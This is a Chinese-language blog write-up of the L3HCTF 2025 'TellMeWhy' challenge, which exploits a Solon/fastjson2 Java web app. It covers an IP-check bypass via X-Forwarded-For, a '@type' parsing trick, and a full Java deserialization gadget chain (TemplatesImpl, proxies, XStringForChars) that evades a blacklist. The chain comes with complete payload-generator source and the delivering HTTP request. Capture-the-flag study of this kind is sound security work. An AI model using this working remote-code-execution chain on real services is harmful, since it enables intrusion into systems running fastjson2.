L3HCTF 2025-TellMeWhy
follycat Lv3

题目代码分析

根据java包可以知道题目使用了fastjson2,solon等依赖,并且主要的代码位于org.example.demo包中。

首先看一下拦截器

可以知道只有127.0.0.1才可以访问/baby/*的路由,并且ip字符不能等于127.0.0.1,因此这里用localhost来进行绕过。

再看一下存在漏洞的路由的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@Mapping("/baby/why")
@Post
public String why(Map map, Context ctx) throws Exception {
if (map.containsKey((Object)null)) {
return "躺阴沟!think more!";
} else {
System.out.println("map: " + map);
System.out.println(map.size());
System.out.println("ctx.body(): " + ctx.body());
JSONObject jsonObject = new JSONObject(ctx.body());
System.out.println(jsonObject.length());
if (map.size() != jsonObject.length() && jsonObject.has("why") && jsonObject.length() < 8300) {
String why = jsonObject.getString("why");
byte[] decode = Base64.getDecoder().decode(why);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
MyInputObjectStream myInputObjectStream = new MyInputObjectStream(byteArrayInputStream);
TangYingGouModel tyg = (TangYingGouModel)myInputObjectStream.readObject();
myInputObjectStream.close();
String yourName = tyg.getYour_name();
return "MVP!MVP!MVP!" + yourName;
} else {
return "摘一朵花,送给妈妈,妈妈!";
}
}
}

可以发现why的参数会被base64解码并且调用其readObject,因此思路就是打why的反序列化。

在触发反序列之前,可以看到前面有一个if语句进行判断,要满足以下条件:

  1. map.size不等于json的key数量
  2. 要有why这个key
  3. key数量要小于8300

由于fastjson2可以解析@type,而solon无法解析@type,因此可以使用这个点进入反序列化。

1
2
3
4
{
"@type": "cat",
"why": "payload"
}

下面就是反序列化了,反序列化前使用了MyInputObjectStream这个类进行了处理,这个类是一个黑名单过滤的类。

其中过滤了BadAttributeValueExpExceptionEventListenerListUIDefaults$TextAndMnemonicHashMap这些类,应该是想过滤readObject->toString这一过程。

链子构造

由于可以利用的依赖并不多,所以可以确定思路是通过fastjson来触发恶意类,首先通过源码的一些代码可以找到fastjson2的版本号为2.0.57。

因此如果需要反序列化触发恶意方法就需要进行高版本的绕过,由于没有太多依赖这里采取使用代理的方式来进行绕过,并且由于没有Spring依赖,而题目提供了MyObject和MyProxy来代替ObjectFactoryDelegatingInvocationHandler所以可以写成这样的一个demo。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
        TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","test");
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
// System.out.println(Base64.getEncoder().encodeToString(code));
byte[][] codes = {code};
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",codes);

Map map = new HashMap();
map.put("object",templates);

String className = "com.alibaba.fastjson2.JSONObject";
Object fjsonObject = newInstance(className, Map.class,map);
Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{MyObject.class}, (InvocationHandler)fjsonObject);
Object o = newInstance("org.example.demo.Utils.MyProxy", MyObject.class,proxy1);

Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(), new Class[]{Templates.class}, (InvocationHandler)o);

JSONArray jsonArray = new JSONArray();
jsonArray.add(proxy2);

jsonArray.toString();

目前问题在于怎么触发这个toString方法,除了被ban掉的几种方法之外,能利用还有XString->toString由于没有spring依赖,因此使用HashMap#readObject->XString#equals->toString来触发toString,并且由于有put操作,将_bytecodes的赋值放在put之后。

完整payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
package org.payload;

import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XStringForChars;
import org.payload.Reflections;
import javassist.ClassPool;
import javassist.CtClass;
import org.example.demo.Utils.MyObject;

import javax.management.BadAttributeValueExpException;
import javax.naming.spi.ObjectFactory;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","test");
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
// System.out.println(Base64.getEncoder().encodeToString(code));
byte[][] codes = {code};
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());


Map map = new HashMap();
map.put("object",templates);

String className = "com.alibaba.fastjson2.JSONObject";
Object fjsonObject = newInstance(className, Map.class,map);
Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{MyObject.class}, (InvocationHandler)fjsonObject);
Object o = newInstance("org.example.demo.Utils.MyProxy", MyObject.class,proxy1);

Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(), new Class[]{Templates.class}, (InvocationHandler)o);

JSONArray jsonArray = new JSONArray();
jsonArray.add(proxy2);

// jsonArray.toString();

XStringForChars xStringForChars = new XStringForChars(new char[0], 0, 0);
setFieldValue(xStringForChars, "m_strCache", "111");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("aa",jsonArray);
map1.put("bB",xStringForChars);
map2.put("aa",xStringForChars);
map2.put("bB",jsonArray);

HashMap finalMap = new HashMap();
finalMap.put(map1,"");
finalMap.put(map2,"");
setFieldValue(templates,"_bytecodes",codes);

Serialize(finalMap);
Unserialize("ser11.bin");
}
public static void Serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser11.bin"));
objectOutputStream.writeObject(obj);
}
public static Object Unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;

}
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object newInstance(String className,Class paramType,Object param) throws Exception {
return newInstance(Class.forName(className),paramType,param);
}

public static Object newInstance(Class clazz,Class paramType,Object param) throws Exception {
return newInstance(clazz,new Class[]{paramType},new Object[]{param});
}

public static Object newInstance(Class clazz,Class[] paramTypes,Object[] params) throws Exception {
Constructor constructor = clazz.getDeclaredConstructor(paramTypes);
constructor.setAccessible(true);
return constructor.newInstance(params);
}
}

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /baby/why HTTP/1.1
Host: localhost:8081
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-mobile: ?0
Sec-Fetch-Mode: navigate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-platform: "Windows"
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: SOLONID=352e2ae1c66a4702a27f88235da6aa79
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138", "Google Chrome";v="138"
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.1
Referer: http://localhost:8081/
Content-Type: application/json
Content-Length: 21

{
"@type":"cat",
"why":"{{base64({{file(ser.bin文件路径)}})}}"}

参考文章

https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3_uWL2Q#/

https://dummykitty.github.io/posts/L3HCTF-2025-TellMeWhy-Fastjson-%E9%AB%98%E7%89%88%E6%9C%AC-Getter-%E5%88%A9%E7%94%A8/#/exp

 Comments
Comment plugin failed to load
Loading comment plugin
Please fill in the required configuration items for Valine comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View